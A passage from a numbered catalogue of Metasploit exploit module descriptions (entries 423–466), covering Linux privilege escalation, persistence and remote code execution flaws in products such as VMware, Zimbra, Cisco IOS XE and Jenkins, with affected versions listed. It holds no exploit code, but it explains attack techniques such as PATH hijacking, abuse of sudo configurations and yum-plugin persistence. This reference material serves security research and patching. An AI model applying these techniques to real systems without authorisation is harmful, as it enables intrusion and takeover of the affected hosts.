  enlightenment_sys binary. This is done by calling the mount
  command and feeding it paths which meet all of the system
  requirements, but execute a specific path as well due to a
  semi-colon being used.
  This module was tested on Ubuntu 22.04.1 X64 Desktop with
  enlightenment 0.25.3-1 (current at module write time)

End Exploit Number 423

Begin Exploit Number 424
       Name: Linux udev Netlink Local Privilege Escalation
     Module: exploit/linux/local/udev_netlink
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-04-16
```

```
Payload information:

Description:
  Versions of udev < 1.4.1 do not verify that netlink messages are
  coming from the kernel. This allows local users to gain privileges
by
  sending netlink messages from userland.

End Exploit Number 424

Begin Exploit Number 425
       Name: Unitrends Enterprise Backup bpserverd Privilege
Escalation
     Module: exploit/linux/local/ueb_bpserverd_privesc
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-03-14

Payload information:

Description:
  It was discovered that the Unitrends bpserverd proprietary protocol,
as exposed via xinetd,
  has an issue in which its authentication can be bypassed.  A remote
attacker could use this
  issue to execute arbitrary commands with root privilege on the
target system.
  This is very similar to exploits/linux/misc/ueb9_bpserverd however
it runs against the
  localhost by dropping a python script on the local file system.
Unitrends stopped
  bpserverd from listening remotely on version 10.

End Exploit Number 425

Begin Exploit Number 426
       Name: Linux Kernel UDP Fragmentation Offset (UFO) Privilege
Escalation
     Module: exploit/linux/local/ufo_privilege_escalation
   Platform: Linux
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-08-10

Payload information:
```

```
Description:
  This module attempts to gain root privileges on Linux systems by
abusing
  UDP Fragmentation Offload (UFO).

  This exploit targets only systems using Ubuntu (Trusty / Xenial)
kernels
  4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux
distros
  based on Ubuntu, such as Linux Mint.

  The target system must have unprivileged user namespaces enabled
  and SMAP disabled.

  Bypasses for SMEP and KASLR are included. Failed exploitation
  may crash the kernel.

  This module has been tested successfully on various Ubuntu and Linux
  Mint systems, including:

  Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;
  Ubuntu 16.04 4.8.0-53-generic;
  Linux Mint 17.3 4.4.0-89-generic;
  Linux Mint 18 4.8.0-58-generic

End Exploit Number 426

Begin Exploit Number 427
       Name: VMware vCenter vScalation Priv Esc
     Module: exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2021-09-21

Payload information:

Description:
  This module exploits a privilege escalation in vSphere/vCenter due
to improper permissions on the
  /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for
anyone in the
  cis group to write to the file, which will execute as root on
vmware-vmon service
  restart or host reboot.

  This module was successfully tested against VMware VirtualCenter
```

```
6.5.0 build-7070488.
  The following versions should be vulnerable:
  vCenter 7.0 before U2c
  vCenter 6.7 before U3o
  vCenter 6.5 before U3q

End Exploit Number 427

Begin Exploit Number 428
       Name: VMware Workstation ALSA Config File Local Privilege
Escalation
     Module: exploit/linux/local/vmware_alsa_config
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-22

Payload information:

Description:
  This module exploits a vulnerability in VMware Workstation Pro and
  Player on Linux which allows users to escalate their privileges by
  using an ALSA configuration file to load and execute a shared object
  as root when launching a virtual machine with an attached sound
card.

  This module has been tested successfully on VMware Player version
  12.5.0 on Debian Linux 8 Jessie.

End Exploit Number 428

Begin Exploit Number 429
       Name: VMWare Setuid vmware-mount Unsafe popen(3)
     Module: exploit/linux/local/vmware_mount
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-08-22

Payload information:

Description:
  VMWare Workstation (up to and including 9.0.2 build-1031769)
  and Player have a setuid executable called vmware-mount that
  invokes lsb_release in the PATH with popen(3). Since PATH is
  user-controlled, and the default system shell on
  Debian-derived distributions does not drop privs, we can put
  an arbitrary payload in an executable called lsb_release and
  have vmware-mount happily execute it as root for us.

End Exploit Number 429

Begin Exploit Number 430
       Name: VMware Workspace ONE Access CVE-2022-31660
     Module: exploit/linux/local/
vmware_workspace_one_access_certproxy_lpe
   Platform: Linux, Unix
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2022-08-02

Payload information:

Description:
  VMware Workspace ONE Access contains a vulnerability whereby the
horizon user can escalate their privileges
  to those of the root user by modifying a file and then restarting
the vmware-certproxy service which
  invokes it. The service control is permitted via the sudo
configuration without a password.

End Exploit Number 430

Begin Exploit Number 431
       Name: VMware Workspace ONE Access CVE-2022-22960
     Module: exploit/linux/local/
vmware_workspace_one_access_cve_2022_22960
   Platform: Linux, Unix
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2022-04-06

Payload information:

Description:
  This module exploits CVE-2022-22960 which allows the user to
overwrite the permissions of the
  certproxyService.sh script so that it can be modified by the horizon
user. This allows a local attacker with
  the uid 1001 to escalate their privileges to root access.

End Exploit Number 431
```

```
Begin Exploit Number 432
       Name: vmwgfx Driver File Descriptor Handling Priv Esc
     Module: exploit/linux/local/vmwgfx_fd_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2022-01-28

Payload information:

Description:
  If the vmwgfx driver fails to copy the 'fence_rep' object to
userland, it tries to
  recover by deallocating the (already populated) file descriptor.
This is
  wrong, as the fd gets released via put_unused_fd() which shouldn't
be used,
  as the fd table slot was already populated via the previous call to
  fd_install(). This leaves userland with a valid fd table entry
pointing to
  a free'd 'file' object.

  We use this bug to overwrite a SUID binary with our payload and gain
root.
  Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.

  Successfully tested against Ubuntu 22.04.01 with kernel
5.13.12-051312-generic.

End Exploit Number 432

Begin Exploit Number 433
       Name: Yum Package Manager Persistence
     Module: exploit/linux/local/yum_package_manager_persistence
   Platform: Linux, Unix
       Arch: cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2003-12-17

Payload information:

Description:
  This module will run a payload when the package manager is used. No
  handler is ran automatically so you must configure an appropriate
  exploit/multi/handler to connect. Module modifies a yum plugin to
  launch a binary of choice. grep -F 'enabled=1' /etc/yum/
pluginconf.d/
  will show what plugins are currently enabled on the system.


End Exploit Number 433

Begin Exploit Number 434
       Name: Zimbra sudo + postfix privilege escalation
     Module: exploit/linux/local/zimbra_postfix_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-10-13

Payload information:

Description:
  This module exploits a vulnerable sudo configuration that permits
the
  zimbra user to execute postfix as root. In turn, postfix can execute
  arbitrary shellscripts, which means it can execute a root shell.

End Exploit Number 434

Begin Exploit Number 435
       Name: Zimbra zmslapd arbitrary module load
     Module: exploit/linux/local/zimbra_slapper_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-10-27

Payload information:

Description:
  This module exploits CVE-2022-37393, which is a vulnerability in
  Zimbra's sudo configuration that permits the zimbra user to execute
  the zmslapd binary as root with arbitrary parameters. As part of its
  intended functionality, zmslapd can load a user-defined
configuration
  file, which includes plugins in the form of .so files, which also
  execute as root.

End Exploit Number 435
```

```
Begin Exploit Number 436
       Name: ZPanel zsudo Local Privilege Escalation Exploit
     Module: exploit/linux/local/zpanel_zsudo
   Platform: Linux, Unix
       Arch: cmd, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-07

Payload information:

Description:
  This module abuses the zsudo binary, installed with zpanel, to 
escalate
  privileges. In order to work, a session with access to zsudo on the 
sudoers
  configuration is needed. This module is useful for post exploitation 
of ZPanel
  vulnerabilities, where typically web server privileges are acquired, 
and this
  user is allowed to execute zsudo on the sudoers file.


End Exploit Number 436

Begin Exploit Number 437
       Name: Zyxel Firewall SUID Binary Privilege Escalation
     Module: exploit/linux/local/zyxel_suid_cp_lpe
   Platform: Linux, Unix
       Arch: cmd, mips64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-14

Payload information:

Description:
  This module exploits CVE-2022-30526, a local privilege escalation 
vulnerability that
  allows a low privileged user (e.g. nobody) escalate to root. The 
issue stems from
  a suid binary that allows all users to copy files as root. This 
module overwrites
  the firewall's crontab to execute an attacker provided script, 
resulting in code
  execution as root.

  In order to use this module, the attacker must first establish shell
```

```
access. For
  example, by exploiting CVE-2022-30525.

  Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500,
700),
  ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN
and USG20W-VPN.

End Exploit Number 437

Begin Exploit Number 438
       Name: Accellion FTA MPIPE2 Command Execution
     Module: exploit/linux/misc/accellion_fta_mpipe2
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-02-07

Payload information:
  Space: 1024

Description:
  This module exploits a chain of vulnerabilities in the Accellion
  File Transfer appliance. This appliance exposes a UDP service on
  port 8812 that acts as a gateway to the internal communication bus.
  This service uses Blowfish encryption for authentication, but the
  appliance ships with two easy to guess default authentication keys.
  This module abuses the known default encryption keys to inject a
  message into the communication bus. In order to execute arbitrary
  commands on the remote appliance, a message is injected into the bus
  destined for the 'matchrep' service. This service exposes a function
  named 'insert_plugin_meta_info' which is vulnerable to an input
  validation flaw in a call to system(). This provides access to the
  'soggycat' user account, which has sudo privileges to run the
  primary admin tool as root. These two flaws are fixed in update
  version FTA_8_0_562.

End Exploit Number 438

Begin Exploit Number 439
       Name: Aerospike Database UDF Lua Code Execution
     Module: exploit/linux/misc/aerospike_database_udf_cmd_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2020-07-31
```

```
Payload information:

Description:
  Aerospike Database versions before 5.1.0.3 permitted
  user-defined functions (UDF) to call the `os.execute`
  Lua function.

  This module creates a UDF utilising this function to
  execute arbitrary operating system commands with the
  privileges of the user running the Aerospike service.

  This module does not support authentication; however
  Aerospike Database Community Edition does not enable
  authentication by default.

  This module has been tested successfully on Ubuntu
  with Aerospike Database Community Edition versions
  4.9.0.5, 4.9.0.11 and 5.0.0.10.

End Exploit Number 439

Begin Exploit Number 440
       Name: ASUS infosvr Auth Bypass Command Execution
     Module: exploit/linux/misc/asus_infosvr_auth_bypass_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-01-04

Payload information:

Description:
  This module exploits an authentication bypass vulnerability in the
  infosvr service running on UDP port 9999 on various ASUS routers to
  execute arbitrary commands as root.

  This module launches the BusyBox Telnet daemon on the port specified
  in the TelnetPort option to gain an interactive remote shell.

  This module was tested successfully on an ASUS RT-N12E with firmware
  version 2.0.0.35.

  Numerous ASUS models are reportedly affected, but untested.

End Exploit Number 440

Begin Exploit Number 441
```

```
       Name: Cisco IOX XE Unauthenticated RCE Chain
     Module: exploit/linux/misc/cisco_ios_xe_rce
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-16

Payload information:

Description:
  This module leverages both CVE-2023-20198 and CVE-2023-20273 against 
vulnerable instances of Cisco IOS XE
  devices which have the Web UI exposed. An attacker can execute a 
payload with root privileges.

  The vulnerable IOS XE versions are:
  16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 
16.3.1a, 16.3.4,
  16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 
16.4.1, 16.4.2,
  16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 
16.6.3, 16.6.4,
  16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 
16.6.8, 16.6.9,
  16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 
16.8.1a, 16.8.1b,
  16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 
16.9.1a, 16.9.1b,
  16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 
16.9.4, 16.9.3s, 16.9.3a,
  16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 
16.9.8c, 16.10.1,
  16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 
16.10.1f, 16.10.1g,
  16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 
16.12.1, 16.12.1s,
  16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 
16.12.8, 16.12.2s,
  16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 
16.12.4a, 16.12.5,
  16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 
16.12.7, 16.12.9, 16.12.10,
  17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 
17.2.1a, 17.2.1v,
  17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 
17.3.1x, 17.3.1z,
  17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 
17.3.5b, 17.3.7,
  17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1,
17.5.1a, 17.5.1b,
  17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y,
17.6.1z, 17.6.3a,
  17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2,
17.10.1, 17.10.1a,
  17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a,
17.9.1x, 17.9.1y, 17.9.3,
  17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a,
17.12.1, 17.12.1a,
  17.11.99SW

End Exploit Number 441

Begin Exploit Number 442
       Name: Cisco RV340 SSL VPN Unauthenticated Remote Code Execution
     Module: exploit/linux/misc/cisco_rv340_sslvpn
   Platform: Linux
       Arch: armle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2022-02-02

Payload information:

Description:
  This module exploits a stack buffer overflow in the Cisco RV series
routers SSL VPN
  functionality. The default SSL VPN configuration is exploitable,
with no authentication
  required and works over the Internet!
  The stack is executable and no ASLR is in place, which makes
exploitation easier.
  Successful execution of this module results in a reverse root shell.
A custom payload is
  used as Metasploit does not have ARMLE null free shellcode.
  This vulnerability was presented by the Flashback Team in Pwn2Own
Austin 2021 and OffensiveCon
  2022. For more information check the referenced advisory.
  This module has been tested in firmware versions 1.0.03.15 and above
and works with around
  65% reliability. The service restarts automatically so you can keep
trying until you pwn it.
  Only the RV340 router was tested, but other RV series routers should
work out of the box.

End Exploit Number 442

Begin Exploit Number 443
```

```
       Name: AnyDesk GUI Format String Write
     Module: exploit/linux/misc/cve_2020_13160_anydesk
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-06-16

Payload information:
  Space: 512
  Avoid: 3 characters

Description:
  The AnyDesk GUI is vulnerable to a remotely exploitable format
string vulnerability. By sending a specially
  crafted discovery packet, an attacker can corrupt the frontend
process when it loads or refreshes. While the
  discovery service is always running, the GUI frontend must be
started to trigger the vulnerability. On
  successful exploitation, code is executed within the context of the
user who started the AnyDesk GUI.

End Exploit Number 443

Begin Exploit Number 444
       Name: Microsoft OMI Management Interface Authentication Bypass
     Module: exploit/linux/misc/cve_2021_38647_omigod
   Platform: Linux, Unix
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-14

Payload information:

Description:
  By removing the authentication header, an attacker can issue an HTTP
request to the OMI management endpoint
  that will cause it to execute an operating system command as the
root user. This vulnerability was patched in
  OMI version 1.6.8-1 (released September 8th 2021).

End Exploit Number 444

Begin Exploit Number 445
       Name: GLD (Greylisting Daemon) Postfix Buffer Overflow
     Module: exploit/linux/misc/gld_postfix
   Platform: Linux
```

```
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2005-04-12

Payload information:
  Space: 1000
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in the Salim Gasmi
  GLD <= 1.4 greylisting daemon for Postfix. By sending an
  overly long string the stack can be overwritten.

End Exploit Number 445

Begin Exploit Number 446
       Name: HID discoveryd command_blink_on Unauthenticated RCE
     Module: exploit/linux/misc/
hid_discoveryd_command_blink_on_unauth_rce
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-28

Payload information:

Description:
  This module exploits an unauthenticated remote command execution
  vulnerability in the discoveryd service exposed by HID VertX and
Edge
  door controllers.

  This module was tested successfully on a HID Edge model EH400
  with firmware version 2.3.1.603 (Build 04/23/2012).

End Exploit Number 446

Begin Exploit Number 447
       Name: Hikvision DVR RTSP Request Remote Code Execution
     Module: exploit/linux/misc/hikvision_rtsp_bof
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-11-19
```

```
Payload information:

Description:
  This module exploits a buffer overflow in the RTSP request parsing
  code of Hikvision DVR appliances. The Hikvision DVR devices record
  video feeds of surveillance cameras and offer remote administration
  and playback of recorded footage.

  The vulnerability is present in several models / firmware versions
  but due to the available test device this module only supports
  the DS-7204 model.

End Exploit Number 447

Begin Exploit Number 448
       Name: HP Data Protector 6 EXEC_CMD Remote Code Execution
     Module: exploit/linux/misc/hp_data_protector_cmd_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-02-07

Payload information:
  Space: 10000

Description:
  This exploit abuses a vulnerability in the HP Data Protector
service. This
  flaw allows an unauthenticated attacker to take advantage of the
EXEC_CMD
  command and traverse back to /bin/sh, this allows arbitrary remote
code
  execution under the context of root.

End Exploit Number 448

Begin Exploit Number 449
       Name: HP Jetdirect Path Traversal Arbitrary Code Execution
     Module: exploit/linux/misc/hp_jetdirect_path_traversal
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-04-05

Payload information:
```

```
Description:
  The module exploits a path traversal via Jetdirect to gain arbitrary
code execution by
  writing a shell script that is loaded on startup to /etc/profile.d.
Then, the printer
  is restarted using SNMP. Impacted printers:
  HP PageWide Managed MFP P57750dw
  HP PageWide Managed P55250dw
  HP PageWide Pro MFP 577z
  HP PageWide Pro 552dw
  HP PageWide Pro MFP 577dw
  HP PageWide Pro MFP 477dw
  HP PageWide Pro 452dw
  HP PageWide Pro MFP 477dn
  HP PageWide Pro 452dn
  HP PageWide MFP 377dw
  HP PageWide 352dw
  HP OfficeJet Pro 8730 All-in-One Printer
  HP OfficeJet Pro 8740 All-in-One Printer
  HP OfficeJet Pro 8210 Printer
  HP OfficeJet Pro 8216 Printer
  HP OfficeJet Pro 8218 Printer

  Please read the module documentation regarding the possibility for
leaving an
  unauthenticated telnetd service running as a side effect of this
exploit.

End Exploit Number 449

Begin Exploit Number 450
       Name: HP Network Node Manager I PMD Buffer Overflow
     Module: exploit/linux/misc/hp_nnmi_pmd_bof
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-09-09

Payload information:
  Space: 3000
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in HP Network Node
Manager I (NNMi). The
  vulnerability exists in the pmd service, due to the insecure usage
of functions like
```

```
  strcpy and strcat while handling stack_option packets with user
controlled data. In
  order to bypass ASLR this module uses a proto_tbl packet to leak an
libov pointer from
  the stack and finally build the ROP chain to avoid NX.

End Exploit Number 450

Begin Exploit Number 451
       Name: HP StorageWorks P4000 Virtual SAN Appliance Login Buffer
Overflow
     Module: exploit/linux/misc/hp_vsa_login_bof
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-06-28

Payload information:
  Space: 780
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow vulnerability found in HP's
StorageWorks
  P4000 VSA on versions prior to 10.0. The vulnerability is due to an
insecure usage
  of the sscanf() function when parsing login requests. This module
has been tested
  successfully on the HP VSA 9 Virtual Appliance.

End Exploit Number 451

Begin Exploit Number 452
       Name: HPLIP hpssd.py From Address Arbitrary Command Execution
     Module: exploit/linux/misc/hplip_hpssd_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-10-04

Payload information:
  Space: 1024

Description:
  This module exploits a command execution vulnerable in the hpssd.py
  daemon of the Hewlett-Packard Linux Imaging and Printing Project.
  According to MITRE, versions 1.x and 2.x before 2.7.10 are 
vulnerable.

  This module was written and tested using the Fedora 6 Linux 
distribution.
  On the test system, the daemon listens on localhost only and runs 
with
  root privileges. Although the configuration shows the daemon is to
  listen on port 2207, it actually listens on a dynamic port.

  NOTE: If the target system does not have a 'sendmail' command 
installed,
  this vulnerability cannot be exploited.

End Exploit Number 452

Begin Exploit Number 453
       Name: Borland InterBase INET_connect() Buffer Overflow
     Module: exploit/linux/misc/ib_inet_connect
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-10-03

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted service attach request.

End Exploit Number 453

Begin Exploit Number 454
       Name: Borland InterBase jrd8_create_database() Buffer Overflow
     Module: exploit/linux/misc/ib_jrd8_create_database
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-10-03

Payload information:
  Space: 128
  Avoid: 5 characters
```

```
Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted create request.

End Exploit Number 454

Begin Exploit Number 455
       Name: Borland InterBase open_marker_file() Buffer Overflow
     Module: exploit/linux/misc/ib_open_marker_file
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-10-03

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted attach request.

End Exploit Number 455

Begin Exploit Number 456
       Name: Borland InterBase PWD_db_aliased() Buffer Overflow
     Module: exploit/linux/misc/ib_pwd_db_aliased
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-10-03

Payload information:
  Space: 512
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in Borland InterBase
  by sending a specially crafted attach request.

End Exploit Number 456

Begin Exploit Number 457
       Name: IGEL OS Secure VNC/Terminal Command Injection RCE
     Module: exploit/linux/misc/igel_command_injection
   Platform: Linux
```

```
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-02-25

Payload information:

Description:
  This module exploits a command injection vulnerability in IGEL OS
Secure Terminal
  and Secure Shadow services.

  Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
  Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.

End Exploit Number 457

Begin Exploit Number 458
       Name: Jenkins CLI RMI Java Deserialization Vulnerability
     Module: exploit/linux/misc/jenkins_java_deserialize
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-11-18

Payload information:

Description:
  This module exploits a vulnerability in Jenkins. An unsafe
deserialization bug exists on
  the Jenkins master, which allows remote arbitrary code execution.
Authentication is not
  required to exploit this vulnerability.

End Exploit Number 458

Begin Exploit Number 459
       Name: Jenkins CLI HTTP Java Deserialization Vulnerability
     Module: exploit/linux/misc/jenkins_ldap_deserialize
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-11-16

Payload information:
```

```
Description:
  This module exploits a vulnerability in Jenkins. An unsafe
deserialization bug exists on
  the Jenkins, which allows remote arbitrary code execution via HTTP.
Authentication is not
  required to exploit this vulnerability.

End Exploit Number 459

Begin Exploit Number 460
       Name: LPRng use_syslog Remote Format String Vulnerability
     Module: exploit/linux/misc/lprng_format_string
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2000-09-25

Payload information:
  Space: 130
  Avoid: 4 characters

Description:
  This module exploits a format string vulnerability in the LPRng
print server.
  This vulnerability was discovered by Chris Evans. There was a
publicly
  circulating worm targeting this vulnerability, which prompted RedHat
to pull
  their 7.0 release. They consequently re-released it as "7.0-respin".

End Exploit Number 460

Begin Exploit Number 461
       Name: MongoDB nativeHelper.apply Remote Code Execution
     Module: exploit/linux/misc/mongod_native_helper
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-03-24

Payload information:

Description:
  This module exploits the nativeHelper feature from spiderMonkey
which allows
```

```
  remote code execution by calling it with specially crafted
arguments. This module
  has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and
Debian Squeeze.

End Exploit Number 461

Begin Exploit Number 462
       Name: Nagios Remote Plugin Executor Arbitrary Command Execution
     Module: exploit/linux/misc/nagios_nrpe_arguments
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-21

Payload information:

Description:
  The Nagios Remote Plugin Executor (NRPE) is installed to allow a
central
  Nagios server to actively poll information from the hosts it
monitors. NRPE
  has a configuration option dont_blame_nrpe which enables command-
line arguments
  to be provided remote plugins. When this option is enabled, even
when NRPE makes
  an effort to sanitize arguments to prevent command execution, it is
possible to
  execute arbitrary commands.

End Exploit Number 462

Begin Exploit Number 463
       Name: Netcore Router Udp 53413 Backdoor
     Module: exploit/linux/misc/netcore_udp_53413_backdoor
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-08-25

Payload information:

Description:
  Routers manufactured by Netcore, a popular brand for networking
  equipment in China, have a wide-open backdoor that can be fairly
  easily exploited by attackers. These products are also sold under
  the Netis brand name outside of China. This backdoor allows
  cyber criminals to easily run arbitrary code on these routers,
  rendering it vulnerable as a security device.
  Some models include a non-standard echo command which doesn't
  honor -e, and are therefore not currently exploitable with
  Metasploit.  See URLs or module markdown for additional options.

End Exploit Number 463

Begin Exploit Number 464
       Name: NetSupport Manager Agent Remote Buffer Overflow
     Module: exploit/linux/misc/netsupport_manager_agent
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-01-08

Payload information:
  Space: 2421
  Avoid: 0 characters

Description:
  This module exploits a buffer overflow in NetSupport Manager Agent. 
It
  uses a similar ROP to the proftpd_iac exploit in order to avoid non 
executable stack.

End Exploit Number 464

Begin Exploit Number 465
       Name: Apache Storm Nimbus getTopologyHistory Unauthenticated 
Command Execution
     Module: exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
   Platform: Linux, Unix
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-10-25

Payload information:

Description:
  This module exploits an unauthenticated command injection 
vulnerability within the Nimbus service component of Apache Storm.
  The getTopologyHistory RPC method method takes a single argument 
which is the name of a user which is
  concatenated into a string that is executed by bash. In order for
```

```
the vulnerability to be exploitable, there
  must have been at least one topology submitted to the server. The
topology may be active or inactive, but at
  least one must be present. Successful exploitation results in remote
code execution as the user running Apache Storm.

  This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4.
This exploit was tested on version 2.2.0
  which is affected.

End Exploit Number 465

Begin Exploit Number 466
       Name: Novell eDirectory 8 Buffer Overflow
     Module: exploit/linux/misc/novell_edirectory_ncp_bof
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-12-12

Payload information:

Description:
  This exploit abuses a buffer overflow vulnerability in Novell
eDirectory. The
